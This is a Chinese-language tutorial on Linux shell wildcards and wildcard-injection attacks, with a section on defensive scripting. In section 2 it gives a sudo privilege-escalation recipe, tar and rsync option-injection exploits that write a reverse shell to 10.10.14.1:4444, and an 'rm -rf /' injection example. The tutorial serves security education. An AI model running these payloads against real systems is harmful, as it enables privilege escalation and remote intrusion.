通配符滥用详解:Linux命令行的潜在风险

在 Linux/Unix 命令行环境里,通配符(Wildcards) ,也叫 globbing patterns,是提升工作效率的一大利器。它能让你用简洁的模式匹配来批量处理文件和路径,极大简化了日常的文件管理。然而,就像任何强大的工具一样,通配符也存在被滥用的风险。当应用程序或脚本未能正确处理通配符展开后的参数时,就可能埋下严重的安全隐患。本文将深入探讨通配符的各种用法,并着重分析 通配符滥用 的原理、典型案例及防范措施,希望能帮助大家在享受通配符便利性的同时,提升对潜在安全风险的认知。


一、通配符基础:简化操作的魔法

通配符的核心思想是利用特殊字符来代表一个或多个未知字符,从而匹配一组符合特定模式的文件名。掌握这些特殊字符的含义,是高效使用命令行的关键。

1.1 ?:匹配单个字符

问号 ? 用来匹配任意一个字符,但不会匹配空字符。它非常适合用来匹配文件名长度固定、只有少数几个字符不同的文件。

范例:

bash 复制代码
# 匹配 a.txt 和 b.txt
$ ls ?.txt
a.txt b.txt

# 匹配两个字符的文件名(比如 ab.txt)
$ ls ??.txt
ab.txt

1.2 *:匹配任意长度的字符

星号 * 是最常用的通配符,它能匹配零个或多个字符。这意味着它可以代表文件名的任何部分,无论是空字符串还是包含多个字符的字符串。

范例:

bash 复制代码
# 匹配所有 .txt 文件
$ ls *.txt
a.txt b.txt ab.txt

# 匹配以 'a' 开头的 .txt 文件
$ ls a*.txt
a.txt ab.txt

1.3 [...]:匹配字符集

方括号 [] 允许你指定一个字符集合,[] 会匹配集合中的任意一个字符。这对于精确匹配特定范围内的文件非常有用。

范例:

bash 复制代码
# 匹配 a.txt 和 b.txt (匹配字符 'a' 或 'b')
$ ls [ab].txt
a.txt b.txt

# 匹配 report1.txt 到 report9.txt (匹配数字 1 到 9)
$ ls report[1-9].txt
report1.txt report2.txt ... report9.txt

此外,[] 也能用来排除特定字符:

  • [^...][!... ]:匹配除指定字符之外的任意一个字符。

范例:

bash 复制代码
# 匹配不以 'a' 开头的 .txt 文件(比如 b.txt)
$ ls [^a].txt
b.txt

1.4 {...}:匹配多个模式(大括号扩展)

大括号 {} 用于匹配多个可选模式 ,模式之间用逗号 , 分隔。跟前面那些通配符不一样,大括号扩展(Brace Expansion)通常是在 Shell 内部完成的,而不是由命令处理。它会直接展开成多个独立的字符串,所以在文件不存在时,它跟 [] 的行为会有些不同。

范例:

bash 复制代码
$ echo {cat,dog}
cat dog

# 大括号可以嵌套,用来生成更复杂的组合
$ echo {j{p,pe}g,png}
jpg jpeg png

[...] 的区别:

一个重要的区别是 [] 是通配符,它在文件系统层面进行匹配。如果匹配的文件不存在,Shell 会把包含 [] 的字符串原样传递给命令,而命令就会报告文件不存在。而 {} 是 Shell 的内置功能,它在命令执行前就会展开成多个独立的参数。如果展开后的文件不存在,那么每个展开后的参数都会被单独处理,并分别报告文件不存在。

bash 复制代码
# 如果 a.txt 和 b.txt 都不存在
$ ls [ab].txt
ls: [ab].txt: No such file or directory
# Shell 认为这是一个文件名,然后命令尝试查找名为 "[ab].txt" 的文件

$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory
# Shell 会把 {a,b}.txt 展开成 "a.txt" 和 "b.txt",然后命令分别尝试查找这两个文件

1.5 {start..end}:匹配连续范围

{start..end} 表示一个连续范围的字符或数字。这在生成序列化的文件名或数据时非常方便。

范例:

bash 复制代码
$ echo {1..5}
1 2 3 4 5

$ echo d{a..d}g
dag dbg dcg ddg

它还能跟逗号 , 组合使用,生成更复杂的序列:

bash 复制代码
$ echo .{mp{3..4},m4{a,b,p,v}}
.mp3 .mp4 .m4a .m4b .m4p .m4v

二、通配符滥用:安全隐患的根源

了解了通配符的强大功能后,我们必须警惕它潜在的滥用风险。通配符滥用的核心原理在于 Bash(或其他 Shell)的一个设计规范:当命令后面跟着通配符(比如 *?)时,Shell 会在执行命令之前,把它们展开成匹配的文件名列表,然后把这个列表作为参数传递给命令。这样做是为了方便用户批量操作文件。

通配符滥用正是利用了 Bash 会把文件名当作命令参数来用这个特点。虽然 Bash 在展开时会处理空格和特殊字符(例如,通过引用或转义来确保文件名中的空格不会被解析成参数分隔符),但一些不安全的应用程序在接收到这些文件名参数后,如果内部没有正确引用或转义,就可能导致漏洞。攻击者可以通过在特定目录下创建恶意命名的文件,来操控目标应用程序的执行行为。

2.1 漏洞原理深入剖析

  1. Shell 展开(Globbing): 当 Shell 遇到通配符时,它会遍历当前目录或指定目录,找到所有匹配该模式的文件名,然后把这些文件名替换掉通配符,形成一个参数列表。
  2. 参数传递: Shell 把展开后的参数列表作为独立的参数传递给目标命令。
  3. 应用程序解析: 目标命令接收这些参数。如果应用程序在处理这些参数时,没有对其中的特殊字符进行适当的引用或转义,或者直接将其作为命令的一部分执行,那么攻击者就能构造恶意文件名,让应用程序执行非预期的操作。

举个例子: 如果一个应用程序接收一个参数,并将其作为子命令的一部分执行,比如 system("echo " + user_input)。如果 user_input 包含 *.txt 这样的通配符,并且目录下存在 a.txt; rm -rf / 这样的文件,那么在 Shell 展开后,echo 命令就可能变成 echo a.txt; rm -rf /,从而导致任意命令执行。

2.2 典型漏洞范例

下面我们通过一个 sudo 配置的例子,来具体说明通配符滥用是如何导致权限提升的。

场景描述:

假设有这样一个 sudo 配置,允许用户无需密码执行 /opt/get_flag 脚本:

复制代码
sudo -l
Matching Defaults entries for user:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User may run the following commands:
    (ALL : ALL) NOPASSWD: /opt/get_flag

/opt/get_flag 脚本内容如下:

sh 复制代码
#!/bin/sh
PATH=/usr/bin:/bin
cd /tmp
cat /root/root.txt | tr -d [A-Za-z0-9]

这个脚本的目的是读取 /root/root.txt 的内容,并通过 tr -d [A-Za-z0-9] 命令删除其中的所有字母、数字和中括号。root.txt 通常只包含特殊字符的 flag

漏洞解析:

问题的核心在于 tr -d [A-Za-z0-9]tr 命令的 -d 选项是用来删除字符集的。理论上,[A-Za-z0-9] 应该被 tr 视为一个字符集,告诉它删除所有字母和数字。

然而,由于 -d 选项的参数 [A-Za-z0-9] 没有用引号包裹 ,在 tr 命令执行之前,Shell 会先读取命令行参数并尝试展开所有匹配项。

如果 /tmp 目录下(因为脚本会 cd /tmp)存在一个名为 A 的文件,Shell 就会把 [A-Za-z0-9] 解析为 A(因为它匹配了 [A-Za-z0-9] 中的 A)。最终,实际执行的命令会变成:

bash 复制代码
cat /root/root.txt | tr -d A

这时,tr 命令就不再删除所有字母、数字和中括号了,而只是删除字符 A。这意味着 root.txt 中的 flag 内容就可能完整地打印出来,从而导致敏感信息泄露。

利用方式:

攻击者只需在 /tmp 目录下创建一个名为 A 的文件,然后执行 sudo /opt/get_flag 就能成功利用。

bash 复制代码
# 在 /tmp 目录下创建文件 A
touch /tmp/A

# 执行被授权的脚本
sudo /opt/get_flag

2.3 其他易受通配符滥用影响的命令

除了 tr,很多命令在处理参数时也可能受到通配符滥用的影响。以下是一些常见的例子,它们通常会尝试解析或执行传入的参数,如果没有正确地沙箱化或引用,就可能被恶意文件名利用。

2.3.1 tar

tar 命令在处理归档文件时,如果传入的参数被视为文件名,而这些文件名又碰巧是 tar 的合法选项,就可能导致任意命令执行

利用方式:

攻击者可以创建带有 tar 选项的文件名,例如 --checkpoint=1--checkpoint-action=exec=sh shell.sh。当 tar 被调用并处理这些文件时,它会把这些文件名解释为自身的选项,从而执行恶意脚本 shell.sh

bash 复制代码
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ shell.sh

# 假设某个可执行程序(比如一个受限的 sudo 命令)会执行 `tar *`
# 比如:sudo /usr/local/bin/backup_script
# backup_script 内容类似:tar -cvf /tmp/backup.tar *

在这种情况下,tar 命令最终会收到 --checkpoint=1--checkpoint-action=exec=sh shell.sh 作为参数,进而执行反向 Shell。

2.3.2 rsync

rsync 命令同样存在类似的问题。它允许通过 -e 选项指定远程 Shell,如果 -e 后面的参数被恶意文件污染,就可能导致任意命令执行

利用方式:

创建一个名为 -e sh shell.sh 的文件。当 rsync 命令处理通配符时,这个恶意文件名就会被解析为 -e 选项的参数,从而执行 shell.sh

bash 复制代码
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch "-e sh shell.sh"

# 假设某个可执行程序会执行 `rsync *`
# 比如:sudo /usr/local/bin/sync_data
# sync_data 内容类似:rsync -avz * /mnt/backup

2.4 总结通配符滥用的共性

上述例子都揭示了通配符滥用的共性:

  1. 特权命令执行: 漏洞通常发生在用户被授权执行某个命令(例如 sudo 命令),而该命令内部又会处理通配符。
  2. 不安全的参数处理: 被执行的命令在处理由 Shell 展开的通配符参数时,没有对这些参数进行严格的引用或转义,导致恶意文件名被解释为命令选项或可执行代码。
  3. 可控的环境: 攻击者需要对命令执行的目录有写入权限,以便创建恶意文件。

三、防范通配符滥用的策略

通配符滥用漏洞的根源在于不安全的参数处理。因此,防范措施也应该围绕这个核心问题来制定。

3.1 开发者和系统管理员视角

  1. 始终引用和转义外部输入:

    • 在编写 Shell 脚本时,任何来自外部(例如命令行参数、文件内容、环境变量)的字符串,在作为命令参数使用时都应该使用双引号 "" 或单引号 '' 严格引用。对于可能包含空格或特殊字符的路径,这尤其重要。

    • 范例:

      bash 复制代码
      # 错误示范:可能被通配符滥用
      command $USER_INPUT
      
      # 正确示范:始终引用
      command "$USER_INPUT"
    • 对于更复杂的情况,例如拼接命令字符串,应该使用 printf %qeval 结合适当的引用机制。

  2. 避免在特权命令中使用通配符(Globbing):

    • 如果一个脚本或程序以特权身份(比如 root)运行,并且它需要处理文件,应该尽量避免直接将通配符作为参数传递给内部命令

    • 如果非用不可,请确保目标命令本身是安全的,不会将文件路径解释为选项或命令。

    • 考虑使用 find 命令结合 -exec 选项来处理文件,因为 find -exec 会将文件名作为独立的参数传递,而不是让 Shell 展开。

    • 范例:

      bash 复制代码
      # 错误示范:在特权脚本中直接使用通配符
      # sudo_script.sh
      # cd /tmp
      # rm * # 如果 /tmp 下有 --no-preserve-root 之类的文件,可能导致意想不到的后果
      
      # 更好的做法:使用 find 结合 -exec
      # sudo_script.sh
      # cd /tmp
      # find . -maxdepth 1 -type f -exec rm {} +
  3. 最小权限原则:

    • 只授予用户或脚本最小必要的权限。例如,如果一个脚本只需要删除特定类型的文件,而不是任意文件,就不要赋予它对所有文件的写权限。
    • sudo 配置中,避免使用通配符来匹配命令路径,而是指定精确的命令路径。
    • 错误示范: NOPASSWD: /opt/*_script
    • 正确示范: NOPASSWD: /opt/backup_script
  4. 安全编码实践:

    • 对所有接收外部输入的应用程序进行输入验证和沙箱处理
    • 使用语言内置的函数或库来处理文件路径,而不是手动拼接字符串。
    • 对任何可能执行外部命令的函数(如 system()exec() 系列函数)保持高度警惕,确保传递给它们的参数是安全的。

3.2 用户视角

  1. 谨慎使用 sudo 命令:
    • 只在必要时才使用 sudo,并且只执行信任的、来源明确的命令。
    • 执行 sudo 命令时,要特别注意命令的完整性,避免在命令中直接输入通配符,除非你明确知道该命令如何处理通配符。
  2. 理解命令的参数处理方式:
    • 在使用任何命令之前,了解其参数解析机制,特别是当命令涉及文件操作或执行外部程序时。查阅 man 手册是了解命令行为的最佳方式。
  3. 检查目录内容:
    • 在执行可能受到通配符滥用影响的命令之前,先检查当前目录或目标目录是否存在可疑文件,特别是那些以 - 开头或包含特殊字符的文件名。
    • 例如,在执行 rm * 之前,可以先 ls -A 检查目录内容。

3.3 额外的防护措施

  • 文件系统权限: 限制用户在关键目录(如 /tmp/var/tmp)的写入权限,尤其是在特权命令会切换到这些目录执行操作时。
  • SELinux/AppArmor: 使用强制访问控制(MAC)机制,比如 SELinux 或 AppArmor,对敏感程序和文件进行更细粒度的权限控制,限制它们可以访问的文件和可以执行的操作。
  • 代码审计: 定期对特权程序和脚本进行安全审计,查找潜在的通配符滥用漏洞。

结语

通配符作为命令行操作的强大工具,在提升效率的同时,也带来了潜在的安全风险。它的滥用并非源于通配符本身的设计缺陷,而是因为应用程序或脚本未能正确处理 Shell 展开后的参数。通过深入理解通配符的原理及其在 Shell 中的展开机制,并采取严格的引用、最小权限原则和安全编码实践,我们就能有效防范通配符滥用带来的安全威胁。无论是系统管理员、开发者还是普通用户,都应该提升安全意识,共同构建一个更安全的命令行使用环境。在享受通配符带来便利的同时,时刻保持警惕,确保每一次命令行操作都安全可靠。

相关推荐
fouryears_234176 小时前
云服务器使用代理稳定与github通信方法
运维·服务器·github
渡我白衣6 小时前
Linux网络:应用层协议http
linux·网络·http
KKKlucifer6 小时前
国家网络安全通报中心:重点防范境外恶意网址和恶意 IP
tcp/ip·安全·web安全
pofenx6 小时前
使用nps创建隧道,进行内网穿透
linux·网络·内网穿透·nps
Ronin3056 小时前
【Linux系统】单例式线程池
linux·服务器·单例模式·线程池·线程安全·死锁
wanhengidc6 小时前
手机云服务是什么意思?
运维·网络·安全·游戏·智能手机
desssq7 小时前
ubuntu 18.04 泰山派编译报错
linux·运维·ubuntu
Lzc7747 小时前
Linux的多线程
linux·linux的多线程
清风笑烟语7 小时前
Ubuntu 24.04 搭建k8s 1.33.4
linux·ubuntu·kubernetes
Dovis(誓平步青云)7 小时前
《Linux 基础指令实战:新手入门的命令行操作核心教程(第一篇)》
linux·运维·服务器